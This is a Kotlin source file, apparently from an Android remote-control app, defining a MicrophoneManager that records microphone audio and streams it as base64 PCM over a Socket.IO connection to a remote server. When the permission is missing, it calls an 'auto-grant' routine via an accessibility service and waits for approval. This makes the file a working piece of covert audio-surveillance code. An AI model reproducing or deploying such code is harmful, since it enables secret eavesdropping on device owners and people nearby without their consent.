package com.hikoncont.manager

import android.content.Context
import android.content.pm.PackageManager
import android.media.AudioFormat
import android.media.AudioRecord
import android.media.MediaRecorder
import android.media.audiofx.AcousticEchoCanceler
import android.media.audiofx.NoiseSuppressor
import android.util.Log
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.*
import java.nio.ByteBuffer
import java.util.concurrent.atomic.AtomicBoolean
import java.util.concurrent.atomic.AtomicLong

/**
 * 麦克风录音管理器
 * 
 * 主要职责:
 * 1. 检查麦克风权限
 * 2. 实时录音并传输音频数据
 * 3. 管理录音状态
 */
class MicrophoneManager(private val service: AccessibilityRemoteService) {

    companion object {
        private const val TAG = "MicrophoneManager"
        private const val SAMPLE_RATE = 16000
        private const val CHANNEL_CONFIG = AudioFormat.CHANNEL_IN_MONO
        private const val AUDIO_FORMAT = AudioFormat.ENCODING_PCM_16BIT
        private const val BYTES_PER_SAMPLE = 2
        private const val FRAME_DURATION_MS = 20 // 20ms一帧
        private const val FRAME_BYTES = SAMPLE_RATE * BYTES_PER_SAMPLE * FRAME_DURATION_MS / 1000 // 640 bytes
        private const val AGGREGATION_FRAMES = 5 // 聚合5帧=100ms，降低事件频率
        private const val AGGREGATED_BYTES = FRAME_BYTES * AGGREGATION_FRAMES // 3200 bytes
    }

    private val context: Context = service
    private var audioRecord: AudioRecord? = null
    private var isRecording = AtomicBoolean(false)
    private var recordingJob: Job? = null
    private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
    private val sequenceNumber = AtomicLong(0)

    private var aec: AcousticEchoCanceler? = null
    private var ns: NoiseSuppressor? = null

    /**
     * 检查麦克风权限
     */
    fun hasMicrophonePermission(): Boolean {
        return try {
            val hasPermission = context.checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED
            Log.d(TAG, "🎤 麦克风权限检查: $hasPermission")
            hasPermission
        } catch (e: Exception) {
            Log.e(TAG, "检查麦克风权限失败", e)
            false
        }
    }

    /**
     * 开始录音
     */
    fun startRecording() {
        if (isRecording.get()) {
            Log.w(TAG, "🎤 录音已在进行中")
            return
        }

        if (!hasMicrophonePermission()) {
            Log.w(TAG, "⚠️ 麦克风权限未授予，尝试自动申请")
            try {
                service.requestMicrophonePermissionWithAutoGrant()
            } catch (e: Exception) {
                Log.e(TAG, "触发麦克风权限申请失败", e)
            }

            var attempts = 0
            val maxAttempts = 16 // ~8s
            while (attempts < maxAttempts) {
                try {
                    Thread.sleep(500)
                } catch (_: InterruptedException) {}
                if (hasMicrophonePermission()) {
                    Log.i(TAG, "✅ 麦克风权限已在等待期间授予，开始录音")
                    break
                }
                attempts++
            }

            if (!hasMicrophonePermission()) {
                Log.w(TAG, "⚠️ 等待后仍未获得麦克风权限，取消录音启动")
                return
            }
        }

        try {
            val minBuffer = AudioRecord.getMinBufferSize(SAMPLE_RATE, CHANNEL_CONFIG, AUDIO_FORMAT)
            val targetBuffer = (FRAME_BYTES * 8).coerceAtLeast(minBuffer) // 更大的环形缓冲，抗抖动
            val bufferSize = ((targetBuffer + minBuffer - 1) / minBuffer) * minBuffer

            audioRecord = AudioRecord(
                MediaRecorder.AudioSource.VOICE_COMMUNICATION, // 语音通话源：系统级AEC/NS支持更好
                SAMPLE_RATE,
                CHANNEL_CONFIG,
                AUDIO_FORMAT,
                bufferSize
            )

            if (audioRecord?.state != AudioRecord.STATE_INITIALIZED) {
                Log.e(TAG, "❌ AudioRecord初始化失败")
                return
            }

            // 可用则启用系统回声消除与降噪
            tryEnableAudioEffects()

            isRecording.set(true)
            sequenceNumber.set(0)
            Log.i(TAG, "🎤 开始录音: ${SAMPLE_RATE}Hz, 20ms帧，100ms聚合")

            // 启动录音协程
            recordingJob = serviceScope.launch {
                recordAudio()
            }

        } catch (e: Exception) {
            Log.e(TAG, "启动录音失败", e)
            isRecording.set(false)
        }
    }

    private fun tryEnableAudioEffects() {
        try {
            val sessionId = audioRecord?.audioSessionId ?: 0
            if (sessionId > 0) {
                if (NoiseSuppressor.isAvailable()) {
                    ns = NoiseSuppressor.create(sessionId)
                    ns?.enabled = true
                    Log.i(TAG, "✅ 已启用NoiseSuppressor")
                } else {
                    Log.i(TAG, "ℹ️ 设备不支持NoiseSuppressor")
                }
                if (AcousticEchoCanceler.isAvailable()) {
                    aec = AcousticEchoCanceler.create(sessionId)
                    aec?.enabled = true
                    Log.i(TAG, "✅ 已启用AcousticEchoCanceler")
                } else {
                    Log.i(TAG, "ℹ️ 设备不支持AcousticEchoCanceler")
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "启用音频效果失败", e)
        }
    }

    private fun disableAudioEffects() {
        try {
            ns?.enabled = false
            ns?.release()
            ns = null
            aec?.enabled = false
            aec?.release()
            aec = null
        } catch (_: Exception) {}
    }

    /**
     * 停止录音
     */
    fun stopRecording() {
        if (!isRecording.get()) {
            Log.w(TAG, "🎤 录音未在进行中")
            return
        }

        try {
            isRecording.set(false)
            recordingJob?.cancel()
            audioRecord?.stop()
            audioRecord?.release()
            audioRecord = null
            disableAudioEffects()
            Log.i(TAG, "🎤 停止录音")
        } catch (e: Exception) {
            Log.e(TAG, "停止录音失败", e)
        }
    }

    /**
     * 录音协程
     */
    private suspend fun recordAudio() {
        val singleFrame = ByteArray(FRAME_BYTES)
        val aggregated = ByteArray(AGGREGATED_BYTES)
        var aggOffset = 0
        var aggFrames = 0
        
        try {
            audioRecord?.startRecording()
            Log.i(TAG, "🎤 录音已开始")

            val frameDurationNs = FRAME_DURATION_MS * 1_000_000L
            var lastFrameTimeNs = System.nanoTime()

            while (isRecording.get()) {
                var bytesReadTotal = 0
                while (bytesReadTotal < FRAME_BYTES && isRecording.get()) {
                    val read = audioRecord?.read(singleFrame, bytesReadTotal, FRAME_BYTES - bytesReadTotal) ?: 0
                    if (read <= 0) continue
                    bytesReadTotal += read
                }
                if (!isRecording.get()) break

                // 聚合帧
                System.arraycopy(singleFrame, 0, aggregated, aggOffset, FRAME_BYTES)
                aggOffset += FRAME_BYTES
                aggFrames += 1

                if (aggFrames >= AGGREGATION_FRAMES) {
                    val base64Audio = encodeBytesToBase64(aggregated)
                    try {
                        service.getSocketIOManager()?.sendMicrophoneAudio(
                            base64Audio = base64Audio,
                            sampleRate = SAMPLE_RATE,
                            sampleCount = AGGREGATED_BYTES / BYTES_PER_SAMPLE,
                            format = "PCM_16BIT_MONO"
                        )
                    } catch (e: Exception) {
                        Log.e(TAG, "发送音频数据失败", e)
                    }
                    aggOffset = 0
                    aggFrames = 0
                }

                // 保持20ms采样节拍
                val nowNs = System.nanoTime()
                val elapsed = nowNs - lastFrameTimeNs
                if (elapsed < frameDurationNs) {
                    val sleepNs = frameDurationNs - elapsed
                    delay(sleepNs / 1_000_000)
                }
                lastFrameTimeNs = System.nanoTime()
            }
        } catch (e: Exception) {
            Log.e(TAG, "录音过程中发生错误", e)
        } finally {
            try {
                audioRecord?.stop()
            } catch (e: Exception) {
                Log.e(TAG, "停止AudioRecord失败", e)
            }
        }
    }

    private fun encodeBytesToBase64(bytes: ByteArray): String {
        return try {
            android.util.Base64.encodeToString(bytes, android.util.Base64.NO_WRAP)
        } catch (e: Exception) {
            Log.e(TAG, "音频编码失败", e)
            ""
        }
    }

    /**
     * 获取录音状态
     */
    fun isRecording(): Boolean {
        return isRecording.get()
    }

    /**
     * 释放资源
     */
    fun release() {
        try {
            stopRecording()
            serviceScope.cancel()
            Log.i(TAG, "🎤 麦克风管理器已释放")
        } catch (e: Exception) {
            Log.e(TAG, "释放麦克风管理器失败", e)
        }
    }
}
